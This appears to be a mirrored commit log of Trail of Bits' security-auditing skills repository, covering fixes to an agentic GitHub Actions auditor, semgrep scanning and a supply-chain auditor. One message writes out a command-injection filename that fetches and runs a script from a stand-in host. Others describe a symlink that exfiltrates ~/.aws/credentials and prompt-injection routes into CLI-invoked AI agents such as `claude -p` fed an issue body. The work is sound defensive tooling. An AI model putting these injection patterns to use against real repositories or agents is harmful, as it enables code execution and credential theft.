mirror of
https://github.com/trailofbits/skills.git
synced 2026-09-14 14:28:48 +08:00
59d2eef8dd92ddc632472491ef0a14e6c954eac8
201 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
 kz-tob
|
59d2eef8dd |
agentic-actions-auditor: make the mandated checks runnable, and filter the ref
Two fixes the last pass needed, plus one falsehood it introduced.
The symlink guard added last round could not be run. Step 0's "Bash is ONLY
for:" list permits `gh api` and `gh auth status`; `readlink`, `test -L` and
`stat` are all outside it, and `Read` follows a link silently. So the rule was
unrunnable, which in a document like this reads as a rule that was applied.
Same shape at vector-f: it told the auditor to read `.gemini/settings.json`,
which is neither workflow content nor an invoked script, and gave it no
unresolved fallback -- on the one vector with a confirmed RCE PoC. Step 0 now
permits a read-only path probe inside the checkout and a Contents API fetch for
a named config file, and says plainly that a check which cannot be run makes
the step unresolved rather than clean.
The ref was missed by the previous quoting pass. `{ref}` comes out of a `uses:`
value exactly as `{path}` does, and cross-file-resolution still said to take it
as "everything after @" unvalidated. Git permits `$`, backticks, `;` and `|` in
a ref name and it interpolates after `?ref=` into the same command line.
Quoting does not stop it; the character filter does. Both the Step 0 rule and
the reusable-workflow parse now name it, and the enumeration says it is the
shape of the rule rather than its limit.
Dropping vector-d's CLI row in the scope cut left SKILL.md asserting "Every
vector file now states its own CLI form", which was then false of vector-d --
so `pull_request_target` + head checkout + `run: claude -p` read as not
applicable. The sentence now names the eight files that do, and says to read
vector-d anyway, since D turns on the trigger and the checkout rather than on
how the agent started.
SKILL.md was 514 lines after these; the 2b script-path bullet now points at
Step 0's rule instead of restating it, which brings it back to 500.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
kz-tob
|
4b7a6556ba |
agentic-actions-auditor: quote repo-supplied API paths, and cut the vector sweep back
Two things, both from the review of the previous pass.
The command-injection hole first, since it is a live bug rather than a
detection gap. Seven `gh api` calls splice a repository-supplied value into an
unquoted URL: `{filename}` from the Step 0 directory listing and `{path}` from
a workflow's `uses:`. Git permits `$`, backticks and `;` in filenames, and a
file this skill only ever reads never has to parse as YAML, so a repository can
commit `.github/workflows/x$(curl -s evil.sh|sh).yml` and get code execution on
the auditor's machine during a read-only audit. All seven are quoted now, and
Step 0 states the rule once for every repo-supplied value rather than only for
the 2b script path.
Worse than the hole was the sentence the last pass added claiming the 2b script
path was "the first Bash argument in this skill that comes from the file under
audit". It is not, and asserting it tells the next reader not to look for the
other two. Replaced with a pointer to the general rule.
Then the scope cut. The unconditional `CLI-invoked | Yes` rows added to
vector-c/d/f/g/h override the carve-out at SKILL.md 3a: a bare `curl` to a
model API has no tools, no filesystem agency and no sandbox, so applied as
written those rows report four false positives on one inference call. Dropped.
vector-d is untouched by this branch again as a result.
Kept, because they close the gap this PR exists for rather than widening it:
vector-a's Part B split, the Where-to-Look additions for C, E and F, and
vector-i's table, which resolved a contradiction the original PR introduced.
Also corrected two statements that produce false positives on their own:
vector-g listed `jq` beside `eval` and `bash` as a code-execution sink -- it
parses, it does not evaluate, and SKILL.md already had this right -- and
SKILL.md attributed `mcp_config` to vector-h, which never mentions it.
vector-f's Where to Look had two items numbered 4., colliding with the
pre-existing rule that keeps F and H from double-reporting, and its Gemini
paragraph said in one sentence that no flag names the settings file and that a
flag overrides it. Both fixed.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
kz-tob
|
40a0af06d3 |
agentic-actions-auditor: correct the CLI flag names and reopen the agent signal
Four fixes to the previous two commits, all found by the review bot. The agent-signal credential list had become a closed allowlist: ANTHROPIC and GEMINI matched as exact names only, so ANTHROPIC_AUTH_TOKEN fired nothing, as did any provider outside the big three -- OpenRouter, Groq, Mistral, xAI, HF. Line 68 skips silently, so an unreadable action handed a model credential reported "0 unresolved, no findings". That is the closed-allowlist false negative Step 2b exists to fix, reintroduced one layer down while cutting noise. The test is now what the name denotes -- a provider word in a credential-shaped name -- with the list marked illustrative and an unrecognised provider still firing. GOOGLE_API_KEY and bare MODEL stay second-signal, since that half was right. Flag names in the CLI rows were wrong and contradicted SKILL.md Step 3, which had them right. `claude --help` gives `-p/--print`, not `--prompt`, and `prompt-file` is a Codex *action* input rather than a flag any CLI in 2b accepts -- Aider's is `--message-file`. Step 4 makes the vector file authoritative, so the scan hunted a flag that cannot appear while the real one went unchecked. Vector F keyed the Gemini tool list to a `--settings` flag, but the CLI auto-discovers `.gemini/settings.json` with no flag naming it, so a clean `gemini -p` command line cleared the one vector with a confirmed RCE PoC. It now reads the settings file whenever a CLI Gemini invocation is found, and matches both `tools.core` and the older `coreTools`. The script path defence rejected `..` and a leading `/` but not a symlink: a repository shipping scripts/review.sh as a link to ~/.aws/credentials passed every check and Read followed it, putting the auditor's own secrets in a client report. Local mode now requires a regular file under the checkout root. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
kz-tob
|
4d39dcb30d |
agentic-actions-auditor: make vectors A, C, E and F reachable for a CLI agent
Step 2b finds an agent in a `run:` block, and then the vectors most likely to
apply to it could not fire. Vector A was the worst: its Part B required the
step's `with.prompt` to name the env var, and "Both parts must be present",
so for
env:
ISSUE_BODY: ${{ github.event.issue.body }}
run: claude -p "$ISSUE_BODY"
Part B was unsatisfiable and the vector reported nothing. That is the shape a
CLI agent most often takes, because GitHub's own script-injection guidance
recommends exactly this `env:` indirection for `run:` blocks -- so the vector
this plugin describes as "invisible to naive grep-based tools" was blind to
the commonest case of the surface #286 added.
Part B now splits by invocation: `with.prompt` for an action, the invocation
itself for a CLI agent -- command line, heredoc body, pipe, prompt file, or a
wrapper script. C, E and F get the same treatment in Where to Look: the prompt
wherever it sits in the block (C), a prompt built from a log file or piped
build output rather than a step output (E), and the restriction flags on the
command line rather than in `claude_args` (F).
Every vector table gains a CLI-invoked row, including B, D, G and H, so a
reader who stops at the table is not told the vector is action-only.
SKILL.md's A/C/E/F translation goes away with them. It existed because the
files were wrong; with the files fixed, keeping it would restate a rule in
the place
|
||
|
kz-tob
|
1390ff50e6 |
agentic-actions-auditor: scope the vector files to both invocation surfaces
The review's theme was that each amendment landed in a vector file's False
Positives while the same file's tables and Where-to-Look still scoped the
vector to `with:` keys. These close that half of it.
vector-i: the Applicable table marked Gemini CLI and AI Inference "No" while
the False Positives bullet said the opposite, so a model reading the table
marked the vector n/a for an ungated `claude -p` and never reached the bullet.
The column now names which gate to read rather than whether to check, and
gains rows for claude-code-base-action and CLI-invoked agents.
vector-g: "never crosses a step boundary, so this shape never matches" is
false when a CLI step writes its reply to $GITHUB_OUTPUT or $GITHUB_ENV. It
told the auditor to skip the check on the idiomatic handoff out of a `run:`
block.
vector-b, vector-h: Where-to-Look gains the CLI command line, so a model
reading either file for "where do I look" no longer gets `with:` and stops.
vector-h: dropped the claim that `gemini -p` is not approval-gated, which
contradicted action-profiles.md; the flag present is what to record.
SKILL.md: strip a leading `./` before the contents API call, since the guard
admits it and `contents/./scripts/review.sh` 404s as "could not be read";
join the repo-relative path to the checkout root for Read; name the character
filter rather than quoting as the defence, since both illustrated commands
double-quote; state that fetched script content is evidence and never
instruction, now that Step 2b pulls arbitrary repo scripts into context;
give 5e a "None found" case and 5g the unresolved count 5d already has.
cross-file-resolution: dropped GOOGLE_API_KEY and bare MODEL from the agent
signal and required a second signal for them, so Drive and MLOps repos do not
refire the noise problem
|
||
|
kz-tob
|
51cc0ec371 |
Merge main into agentic-actions-cli-detection
#292 shipped agentic-actions-auditor 1.3.0, so this takes 1.4.0. Keeps this branch's broadened description, which names both invocation surfaces. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Max Gorbuk
|
9645e2f89b |
agentic-actions-auditor: the pre-v1 claude-code-action inputs, and the composite-action secrets gap (#292)
* agentic-actions-auditor: match the pre-v1 claude-code-action inputs
claude-code-action renamed its inputs at v1, per the action's own migration
guide. The skill names only the v1 set, and SKILL.md Step 2 tells the auditor
to ignore the ref after `@`, so a workflow carrying `direct_prompt` presents
no prompt field the skill knows about and no sink is reported.
On main the skill never mentions `direct_prompt`, `override_prompt`,
`custom_instructions` or `disallowed_tools`. Its one use of `allowed_tools`
is a heading debunking it as a security control, not a field to capture.
Both spellings now appear wherever the v1 one did: the prompt-field table
and a mapping table in foundations, the Step 3a capture list, the dangerous
configuration table in action-profiles, and the Vector B, F and H signatures.
* agentic-actions-auditor: say how secrets cross a resolved-file boundary
Step 5b scores severity on secrets availability, and cross-file-resolution.md
covers resolving and input tracing but not this. The two file kinds behave
oppositely and neither can be read off the resolved file alone.
A composite action has no `secrets` context, so a `${{ secrets.NAME }}` inside
one resolves to empty and is a broken workflow rather than an exposure, while a
secret that did arrive is sitting in `inputs.*` where a search for `secrets.`
will not find it. A called workflow under `secrets: inherit` holds every secret
the caller has without declaring any, so an empty `on.workflow_call.secrets` is
not evidence of a callee without secrets. Inheritance stops at the directly
called workflow.
The reusable-workflow trace claimed `has secrets access` from a caller that
showed neither a trigger nor a `secrets:` line. Both appear in the example the
trace reads from.
---------
Co-authored-by: kz-tob <kara.zaffarano@trailofbits.com>
|
||
|
Eduard Milushi
|
ea5327d467 |
fix(semgrep): three bugs that silently drop entire rulesets (#250)
* fix(semgrep): stop non-rule YAML in a cloned repo killing the whole scan semgrep parses every .yaml/.yml under a --config directory as a rule, and one unparseable file aborts the entire scan with exit 7 — the rules that were fine produce nothing. Rule repos ship their own CI config next to their rules, and a workflow's `on: pull_request:` is a null value semgrep rejects outright. This silently zeroed two required third-party rulesets: trailofbits/semgrep-rules .github/workflows/semgrep-rules-format.yml elttam/semgrep-rules perf-templates/benchmark-tests.yml Both were reported as failed scans, so the run looked complete while two rule sources contributed nothing. A semgrep rule file always has a top-level `rules:` key and nothing else here does, so prune on that after cloning. It also drops `*.test.yaml` fixtures, which are rule test inputs rather than rules. Measured on the two repos above: keeps 118/145 and 80/94 files, losing no real rule. * fix(semgrep): prune join-mode rules that crash the scanner A `mode: join` rule crashes semgrep 1.173 with an AttributeError in join_rule.py. That is a hard process failure, not a rule-level error: the batch dies and writes no output at all, so every other rule in the same invocation is lost with it. Surfaces once the non-rule YAML prune lets elttam/semgrep-rules get far enough to load rules/generic/jsp-likely-xss.yaml. join is experimental and rare, so dropping those rules costs little next to losing the run that contains them. * fix(semgrep): keep results from a scan whose rules partly failed to compile Exit 2 was treated as "no scan happened", alongside exit 7. It is not: semgrep also returns 2 when individual rules fail to compile while the run completes and writes full JSON and SARIF. Two rulesets were discarded because of it. elttam/semgrep-rules has 12 Java rules current semgrep cannot parse, and ran 107 others fine over ts/php/js/yaml. apiiro/malicious-code-ruleset was filed as failed while its own log read "Scan completed successfully • Findings: 51" — 51 real findings dropped, with nothing in scans.json indicating a loss. Judge on the artifacts rather than the exit code: the existing `jq -e .results` check already proves semgrep produced a parseable result set. Adds `partial` and `exitCode` to each scan entry so a degraded run is visible — reporting it as an unqualified success would overstate coverage, but dropping it understated it far worse. * fix(semgrep): keep exit 7 fatal while still rescuing exit 2 The previous commit dropped the exit-code gate entirely, judging a scan purely on its artifacts. That went further than the problem needed and broke four upstream assertions under "execution, exit codes and finding counts", which pin exit 7 as a failure. Exit 2 still needs rescuing and is genuinely ambiguous: semgrep returns it both for a config that will not load, where it writes nothing, and for a run where some rules failed to compile while the rest completed and wrote full output. The artifact checks separate those two, so 2 is allowed through and flagged partial. Anything outside 0/1/2 is fatal regardless of what was written. Measured rather than assumed, because the exit code for an unloadable config turns out to depend on the OUTPUT FLAGS. semgrep 1.173, same rules directory and target, back to back: semgrep --config rules target -> 7, nothing written semgrep --config rules -o out.json --sarif-output=out.sarif -> 2, nothing written This script uses the second form, so an unloadable config arrives as exit 2 with no artifacts and the -s checks reject it unaided. The fatal branch is therefore belt-and-braces rather than the load-bearing part — but it costs nothing, it is what the suite pins, and it keeps a future semgrep that writes an empty result set alongside a hard failure from reading as a clean scan. Adds the coverage this branch never had for its own central behaviour: exit 2 with complete output is kept, counted and marked partial; exit 2 with no output still fails. Without it the next refactor reverts this silently, which is exactly what the previous commit did to exit 7. Bumps static-analysis to 1.3.3 in both plugin.json and marketplace.json, which the validator requires to agree, and rebases onto main since #258 has since touched this same script. * Bump static-analysis to 1.4.1 The bump this PR originally carried was lost when main moved to 1.4.0. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(semgrep): test the prunes, narrow join match, surface partial scans --------- Co-authored-by: kz-tob <kara.zaffarano@trailofbits.com> Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
iflov
|
7e7a9b2a5d | supply-chain-risk-auditor: discard undecodable cache entries (#291) | ||
|
kz-tob
|
734e66d774 |
agentic-actions-auditor: gate unresolved on an agent signal
Last round's fix over-corrected. Recording every docker, JavaScript and third-party action as unresolved turns the count this branch added into noise: a workflow with checkout, setup-node, cache and upload-artifact reports four unresolved possible agents, and across twenty workflows the one row that matters -- an unreadable ./scripts/review.sh -- is buried. An action whose internals cannot be read is now recorded only when something says it might run an agent: a model API key or token reaching the step (the strongest signal -- a credential is handed over for a reason), an action or image reference naming one, or a prompt-shaped input. Otherwise skip silently. An action already matched in 2a is a confirmed instance and never also an unresolved candidate, which the previous rule did not exclude. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
kz-tob
|
6df3ab9204 |
agentic-actions-auditor: fix the overrides at source instead of in SKILL.md
The third review's theme: new text in SKILL.md disagreeing with the reference files it tells the model to read. vector-b was amended in-file last round; vectors g, h and i were not, so Step 4 asserted one rule and the file it points at asserted the opposite. "Apply its detection heuristic" favours the file, so the overrides lost. Amended at source instead, which also lets SKILL.md shrink: - vector-i: the write-access-only default belongs to claude-code-action alone, not to run-gemini-cli, ai-inference, base-action or a CLI. - vector-h: Gemini's own profile records the action running unsandboxed, contradicting "Gemini defaults to sandbox enabled"; and a CLI's absent flag is the CLI's default, not an action's. - vector-g: a CLI reply is stdout in the same block and never crosses a step boundary, so the steps.<id>.outputs.* shape never matches. - foundations: the prompt-field table gains base-action and CLI rows. - cross-file-resolution: docker, JavaScript and remote actions were skipped silently with no unresolved row, while 5e asserted both surfaces were scanned. Five places said "skip silently"; all now record unresolved. P2: the no-agent path stopped at Step 2 with a one-liner, so 5e's both-surfaces assurance was unreachable in the one case it was written for. That path now reports through 5e. P3: 3c counted unresolved candidates in the instance total while 5e excluded them; base-action's capture list omitted settings and mcp_config, which vector-h checks explicitly; the curl row missed Azure, Bedrock and Vertex, which match neither host nor path; the CLI flag list was closed, so an unlisted widening flag read as absent; the script-path allowlist permitted .. and a leading /, steering a read outside the repo; and the treat-as-data rule named YAML only though the new capability fetches shell scripts. P4: 5d gains the unresolved row shape and headline slot; 2b records the run:-block count 5e reports, which could not be reconstructed from a list of matches; 3a's heading no longer says "from the with: block" while housing CLI guidance; the plugin README named a Security Tooling section that does not exist (Code Auditing). Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
kz-tob
|
c5f282daa2 |
agentic-actions-auditor: close the gaps the second review found
Detection reached CLI agents; the paths that read the vector files and write the report did not consistently follow. P2: - Script resolution pasted a path taken from the audited workflow into a Bash command with no quoting rule. Now quoted, with any shell metacharacter making the step unresolved rather than a command to run. It is the first Bash argument sourced from the file under audit. - Composite-action resolution matched uses: only, so an agent in a composite action's run: block was missed exactly as before this branch. cross-file-resolution.md now checks both surfaces. - Vector G is defined over a later step reading steps.<id>.outputs.*, which never matches a CLI reply on stdout in the same block. Now read against the block itself. P3: - The gh api call for a referenced script omitted ?ref= and the base64 decode used twelve lines above it. - base-action's field list omitted system_prompt, append_system_prompt and claude_env, all Vector B or A surfaces. - Vector I's absent-allowlist rule was narrowed for CLI steps and base-action but not for run-gemini-cli or ai-inference, which also have no such field. - Step 3 called Vector I n/a for a curl while Step 4 made an ungated CLI step a finding. Reconciled: the if: is the gate for both. - The clean report asserted both surfaces were scanned with nothing tying the claim to 2b having run; it now carries a count. - Vector B's narrowing lived only in SKILL.md, so reading the vector file afterwards reinstated the false positive. - Vector H's "defaults are generally safe" is about action defaults; a CLI's absent flag is its own default, not a safe one. P4: -p is --print, not --prompt; unresolved candidates are counted separately from the instance total with a row shape; action-profiles covers the four published actions only, so CLI and base-action findings must not borrow a profile; container: gets a record shape; README notes base-action is archived; descriptions and em dashes. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
kz-tob
|
8e7313ea9d | Merge branch 'main' into agentic-actions-cli-detection | ||
|
kz-tob
|
3c9632a612 |
agentic-actions-auditor: carry CLI detection through analysis and reporting
Review of the previous commit found detection reaching CLI agents while analysis and reporting did not follow, so several paths ended in "detected, zero findings". - claude-code-base-action was detected but profiled nowhere. It has a different input schema (prompt_file, allowed_tools, no claude_args) and no user allowlist input, so Vector I read the missing allowlist as the wrapper action's write-access-only default. - Step 4 claimed two vectors needed reading across for a CLI step. A, C, E, F and I also key on with: field names, and Vector I's false-positive rule explicitly drops an absent allowlist -- true for an action, false for a bare CLI whose only gate is its if:. - 2b was itself a closed allowlist. Adds a residual row: an agent is anything that sends a prompt and acts on the reply. - "Confirm a prompt reaches it before recording" dropped real invocations (claude --continue, a prompt from GITHUB_ENV, a wrapper script). The gate now gets attached to the diagnostic exclusion. - Unresolved possible agents had no slot in the stop condition or either report layout, so a repo whose only agent sat in an unreadable script reported clean. - Remote mode could not read a referenced script under Step 0's Bash rules; those now permit fetching one for this purpose. - When NOT to Use still said to skip repos with no AI agent actions, which would stop the skill firing on the repos 2b targets. - 3c's per-type template, the README activation text, and the skill description named only the four published actions. - Fixes escaped pipes inside code spans, adds aider's -m/--message /--message-file, drops --prompt-file as a CLI flag, notes a curl to a model API is inference-only (B and G, not H/F/I), and extends the false-positive guard to comments, echoed strings and step names. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
kz-tob
|
d7b3b4e3dd |
agentic-actions-auditor: detect agents invoked from run: blocks
Detection matched a closed allowlist of five `uses:` prefixes, and the
stop condition sat immediately after that match: a repository driving
Claude, Codex or Gemini from `run:` blocks terminated the scan at "no
AI action steps found" and was reported clean.
Step 2 now has two surfaces. 2a is the existing action list, plus
claude-code-base-action. 2b scans `run:` blocks for the same agents as
CLIs, with rules for the cases that decide whether it works: multi-line
blocks and heredocs, install-versus-invoke, invocations hidden in repo
scripts, and the diagnostics (`which claude`, `claude --version`) that
must not count. The scan stops only when both come up empty.
Step 3 captures the CLI equivalents -- prompt via positional arg, -p,
heredoc, --prompt-file or a pipe; sandbox flags; the step env: block;
and the `if:` condition, which is the only allowlist a CLI agent has.
Step 4 narrows Vector B's exclusion of `${{ }}` in `run:` blocks. That
exclusion assumes the block is not the AI step; when the block is the
invocation, an interpolated expression is direct prompt injection and
in scope.
Reporting splits the instance count by invocation kind, and the
clean-repo report states both surfaces were scanned.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
kz-tob
|
d1f1575cff |
audit-context-building: add a dispatch-routing eval case (#285)
* audit-context-building: add a dispatch-routing eval case The four existing cases grade response text and per-function analysis quality. None grade whether the run actually reaches for the workflow, so a regression in routing would only show up as prose that still describes the right mechanism. routes-to-workflow grades the tool call instead, following spec-to-code-compliance/evals/routes-not-inline: Workflow stays out of allowed_tools so the per-function fan-out never runs, and tool_used counts the attempt. Scored 1.00 over 3 runs. Also add Workflow to the skill's allowed-tools, matching what spec-to-code-compliance carries for the same routing shape. Measured as inert -- adding and removing it scored 1.00 either way over 3 runs each -- so this is consistency, not a fix, and the version is unchanged. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * audit-context-building: document routes-to-workflow in the README The Tests section said "Four tests" and named four; the eval case added in this branch made five. A reader running the documented command got a fifth case with no description of it. Records what the case grades and, more importantly, what its green score does not establish -- no baseline arm has been run, and tool_used counts attempts the Workflow tool never executes in an eval. That caveat was only in case.yaml, which is not where people look. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
kz-tob
|
7dee682744 |
supply-chain-risk-auditor: don't crash on Windows in the cache owner check (#284)
* supply-chain-risk-auditor: don't crash on Windows in the cache owner check Fixes #273. Http.__init__ called os.getuid() unconditionally, which does not exist on Windows, so collect.py raised AttributeError before it collected anything. Reproduced the reporter's grep: this was the only POSIX-only call in the package, and the rest is stdlib-only, so nothing else stood in the way of a Windows run. The check is a real control, not a formality — the collector trusts the cache for registry and advisory responses, and a cache another user can write turns a compromised package into a clean "no advisories" verdict. So this takes the issue's first option rather than a bare hasattr guard: on a platform with no os.getuid the check is skipped and returns a caveat naming what went unverified, which collect() appends to the report notes. It surfaces under "Method and caveats", the same channel the report already uses to separate assessed-clean from unassessable-with-a-reason. A silently dropped control would let the report imply a cache it never checked. The POSIX path is unchanged: a foreign owner still aborts. Not implementing the SID comparison the issue offers as option 2. It needs pywin32, and the package declares dependencies = [] — a third-party dependency to harden a fallback is a poor trade, and the caveat keeps the gap visible either way. Three tests, each mutation-checked. Restoring the original unguarded call reproduces the exact AttributeError from the issue; replacing the caveat with a bare `return None` — the shortcut the reporter warned against — fails the test that requires a reason; dropping the SystemExit fails the foreign-owner test. Left alone: the reporter also notes gh_token() has no GH_TOKEN/ GITHUB_TOKEN fallback and offered to file it separately. That is a different defect and belongs in its own issue. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * supply-chain-risk-auditor: name the encoding on every text read and write Review P2 on #284: the PR claimed the getuid fix was the last thing standing between this plugin and a Windows run. Not true. No read_text or write_text passed encoding=, so on Windows they decode with the ANSI code page — cp1252, not UTF-8. A package.json with a non-ASCII author either raised UnicodeDecodeError, which is a ValueError but not a JSONDecodeError and so escaped _read_json's guards as a traceback, or where the bytes happened to be cp1252-decodable was silently mojibaked into the report. The codebase already knew this trap: the .git/HEAD comment says "UnicodeDecodeError is a ValueError, which the original OSError guard missed", but the lesson stopped there. encoding="utf-8" on all twelve sites. The review named six; a grep found five more, including both ends of the HTTP cache round-trip in sources.py and the JSON artifact write, all of which carry registry text where non-ASCII is routine. A thirteenth turned up only when the new test ran: subprocess(text=True) decodes with the locale encoding too, so gh_token and the pip-audit call needed it as well. _read_json and _read_toml now catch UnicodeDecodeError explicitly. JSON is UTF-8 by RFC 8259 and TOML by its own spec, so a file that will not decode is malformed input and earns the same refusal as bad syntax rather than a traceback. Two tests, deliberately paired. The behavioural one runs the real collector paths in a subprocess under -X warn_default_encoding, where CPython raises EncodingWarning on any omitted encoding= (PEP 597) — that is what caught the subprocess sites, which no grep of mine had found. The static one covers what the driver cannot reach, render.py's two sites among them. Reverting any of the four representative sites fails one of them; reverting the UnicodeDecodeError guard fails the third. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * supply-chain-risk-auditor: make the encoding guard actually guard Two P2s from review on #284. The static half of the encoding check could not fail. text=True lines went into `offenders` with a "check encoding= nearby" marker, then the assertion filtered exactly those out and nothing ever looked at the soft list — so deleting encoding= from either subprocess call passed both halves of the pair. Confirmed by doing it: four green tests with the regression present. That is the failure mode AGENTS.md calls the most expensive class of bug here, written into the very test meant to prevent it. Rewritten with ast instead of line matching, so a call is seen whole however it is wrapped. Only the builtin open() is flagged, not x.open(): the first version flagged sources.py's urllib self.opener.open(request), where an encoding would be nonsense. Binary modes are skipped. Modules are globbed rather than listed, so a new one in scripts/ is covered when it lands, and the discovery asserts it found something. test_the_encoding_check_detects_a_missing_encoding pins both shapes the checker must catch, since its predecessor passed while a real regression was live. Second: the plain-text readers had no UnicodeDecodeError guard, unlike the JSON and TOML readers the last commit fixed, and main() catches only ReconciliationError. PowerShell 5.1 redirection writes UTF-16LE with a BOM, so a requirements file generated with `>` on a stock Windows box starts with two bytes that are invalid UTF-8 and the run died with a raw traceback — on the platform this PR exists to support. requirements*.txt and both go.mod reads now go through _read_text, which refuses with a message naming the likely cause. Three tests, one per site, each verified to fail when its own site is reverted. The third earns its place: parse_go short-circuits at the first go.mod read, so reverting _go_indirect's read alone left all 103 tests green, and the static check cannot see it because what is missing there is the guard, not the encoding. The fixture needed correcting mid-way: encode("utf-16-le") produces valid UTF-8 — nulls are legal — so it decoded without error and the test did not reproduce anything. encode("utf-16") carries the 0xFF 0xFE BOM the review named, which is what actually fails. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
kz-tob
|
f9950784a7 |
static-analysis: detect every language run-scans.sh can scan (#281)
* static-analysis: detect every language run-scans.sh can scan
Step 1 of the Semgrep scan globbed for 14 extensions while
`includes_for` in scripts/run-scans.sh carries globs for 41. Detection
is the only input to ruleset selection, so a category Step 1 never
reports is one Step 2 never selects and the scan never runs: YAML and
its Kubernetes, GitHub Actions, and CloudFormation variants, plus C#,
Kotlin, Scala, Swift, Elixir, Apex, and Solidity had rulesets in
references/rulesets.md that could not be reached. A header-only C++
tree (.h/.hh/.hpp/.hxx), a .cc-only one, and an ESM-only .mjs package
matched nothing either. The report read clean rather than incomplete.
The detection list is now the union of the `includes_for` globs, with a
note on the invariant and on the five types deliberately absent from
both because semgrep does not parse them. The category table gained the
rows the new patterns resolve to, so no glob dangles without a
destination; every category name is one `canonical_lang` folds. YAML
feeds four categories, so it carries disambiguation rules rather than a
single guess.
The framework markers were written without the `**/` prefix every
language pattern had, so they matched only the target root and a
monorepo keeping package.json in packages/*/ got no framework rulesets
at all. They are prefixed now, and pick up composer.json and
requirements.txt, which rulesets.md keys on but the list omitted.
workflows/semgrep-scan.js carried the same gap in its detect-phase
prompt. SKILL.md advertises it as the same scan without the approval
gate, so it gets the same category list, extension guidance, and YAML
disambiguation.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* static-analysis: drop generic JSON from language detection
Globbing **/*.json detected a "json" category on essentially every
target: package.json, tsconfig.json, lockfiles and editor settings all
match. The only ruleset keyed to that category is r/json.aws, which
covers AWS IAM policy misconfigurations, so the effect was to attach an
IAM ruleset to every scan and to report a JSON language for projects
with no JSON worth scanning.
The detection list is therefore the union of the includes_for globs
minus that one glob, and the note says so rather than leaving the
"union" claim false. IAM policies and JSON-format CloudFormation
templates are still reachable by naming the json or cloudformation
category explicitly, which is the case where selecting r/json.aws is
what the user actually wants.
The dynamic workflow's detect prompt drops json from its category list
for the same reason, and says not to glob *.json, since a bare list
would invite the model to add it back.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* static-analysis: assign JSON by content instead of dropping it
Review P2 on #281: removing **/*.json in
|
||
|
kz-tob
|
9e3fd2f9e8 |
constant-time-analysis: pair ilspycmd's TFM with a matching runtime (#283)
* constant-time-analysis: pair ilspycmd's TFM with a matching runtime The tool-store fallback in _get_il_output globbed for `*/ilspycmd/*/tools/net8.0/any/ilspycmd.dll`. ilspycmd 9.x installs under `tools/net9.0/`, so on any newer install the glob matched nothing, the loop body never ran, and C# IL analysis fell through to monodis and then to "IL disassembly tools not available" — while `dotnet tool install -g ilspycmd`, the command that error recommends, produces exactly the layout the glob could not see. Widening the glob to net* alone would have been wrong. The next lines run the assembly under a Homebrew dotnet@8 runtime, and that pairing is deliberate: ilspycmd installs framework-dependent and .NET does not roll forward across a major version by default, so a net9.0 assembly will not start on an 8.0 runtime. A wide glob with a pinned runtime turns a silent no-match into a silent failed exec. So the TFM found on disk now selects the runtime. Candidates are tried newest-first, sorting the parsed (major, minor) tuple rather than the moniker string, since lexically "net10.0" sorts below "net8.0"; a TFM whose runtime is absent falls back to an older one that has one. Store entries that do not name a .NET runtime major (netstandard2.0, net48) are skipped rather than producing a dotnet@netstandard2 path. The arbitrary `break` after the first matching dll is gone. Extracted to _il_via_versioned_runtime so _get_il_output stays flat. TestCSharpILRuntimePairing covers it with a fake store and fake runtime paths, needing no dotnet install. The suite was mutation-tested rather than trusted green: against the old pinned glob two tests fail, and against the naive widening four fail, including the one asserting a net9.0 assembly is never handed to dotnet@8. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * constant-time-analysis: don't depend on one Homebrew keg existing Review P2 on #283: pairing the store TFM with /opt/homebrew/opt/dotnet@N assumes a keg for that major exists, and if it does not the motivating failure just moves from the glob to the exists() check. `brew info dotnet@9` says the keg does exist — stable 9.0.120 — so the ilspycmd 9.x case the PR was written for does work as shipped. The general concern holds anyway: homebrew-core carries dotnet@6, dotnet@8 and dotnet@9 but dropped dotnet@7 at end of life, and no Linux distribution ships a versioned keg at all. So the exact-major keg is now preferred rather than required. After it come the unversioned Homebrew prefixes, the official installer paths for macOS and Linux, and the PATH dotnet, each tried with DOTNET_ROLL_FORWARD=Major, which is what permits a net9.0 assembly to start on a 10.x runtime. Roll-forward is set only on those candidates: setting it on the exact-major keg would mask a genuinely mismatched pair instead of letting it fail, which is the property the existing test pins. The PATH entry resolves through shutil.which, since dotnet_path defaults to the bare name "dotnet" and exists() on a bare name tests the cwd. The except clause widens from FileNotFoundError to OSError. This is P3, included because the change makes it reachable: adding the Intel prefixes means an Intel keg on an Apple Silicon box without Rosetta is now a live candidate, and it raises OSError("Bad CPU type in executable") rather than FileNotFoundError, which escaped the helper and aborted the whole analysis. Review P2 on references/vm-compiled.md: the only user-facing remedy still said `brew install dotnet@8` and claimed the analyzer detects dotnet@8. It now tells the reader to read the TFM out of the tool store, names the keg gap, and explains that the roll-forward path means no install is strictly required. The store lookup uses find rather than ls on a glob, for the reason #282 documents. Five tests added, each mutation-checked: dropping the generic tier, setting roll-forward unconditionally, narrowing OSError back, and deleting the DOTNET_ROOT line each fail exactly the test that covers them. DOTNET_ROOT had no assertion before, so that line could be deleted with the suite green. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 